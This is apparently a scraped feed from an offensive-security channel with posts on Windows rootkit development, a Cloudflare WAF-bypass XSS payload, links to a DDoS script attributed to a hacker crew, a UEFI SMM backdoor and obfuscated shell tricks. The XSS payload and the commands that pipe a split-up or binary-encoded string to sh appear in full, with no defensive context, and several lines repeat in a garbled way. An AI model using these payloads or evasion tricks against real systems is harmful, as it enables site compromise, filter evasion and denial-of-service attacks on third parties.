Windows rootkit development for red teaming
*
Part 1 | Introduction
Part 2 | A tale of routines, IOCTLs and IRPs
Part 3 | Sailing to the land of the user (and debugging the ship)
Part 4 | The call back home
Part 5 | Saruman's Manipulation
*
#malware #windows #rootkit
*
Part 1 | Introduction
Part 2 | A tale of routines, IOCTLs and IRPs
Part 3 | Sailing to the land of the user (and debugging the ship)
Part 4 | The call back home
Part 5 | Saruman's Manipulation
*
#malware #windows #rootkit
🔥16👍3😱3
Cloudflare bypass WAF
*
Payload:
*
Payload:
<inpuT autofocus oNFocus="setTimeout(function() { /*\`*/top['al'+'\u0065'+'rt']([!+[]+!+[]]+[![]+[]][+[]])/*\`*/ }, 5000);"></inpuT%3E&lT;/stYle&lT;/titLe&lT;/teXtarEa&lT;/scRipt&gT;
#cloudflare #bypass #waf #xss🔥53😱4
Каждый раз смешно )))
И мало того, оно даже документировано -
И мало того, оно даже документировано -
Windows Internals part 2
#remoteRegistry #135👍17🔥1
Script for DDoS attacks by
hXXp://47.88.79.56/succubus/
EagleCyberCrew
hXXp://47.88.79.56/ECC-DDoS/hXXp://47.88.79.56/succubus/
👍15😱7
Собака старая, трюки новые.
System Management Mode
*
SmmBackdoorNg
#backdoor #uefi #smm
System Management Mode
backdoor for UEFI based platforms*
SmmBackdoorNg
#backdoor #uefi #smm
🔥15
parts=(" /" "us" ";r" " /" ";b" "in" "; /" "who" "a" "mi" "")
command="${parts[0]}${parts[1]}${parts[2]}${parts[3]}${parts[4]}${parts[5]}${parts[6]}${parts[7]}${parts[8]}${parts[9]}${parts[10]}"
echo $command | tr -d ' ;' | sh
echo "00101111 01110101 01110011 01110010 00101111 01100010 01101001 01101110 00101111 01110111 01101000 01101111 01100001 01101101 01101001" | perl -lape '$_=pack"(B8)*",@F
' | sh👍31😱3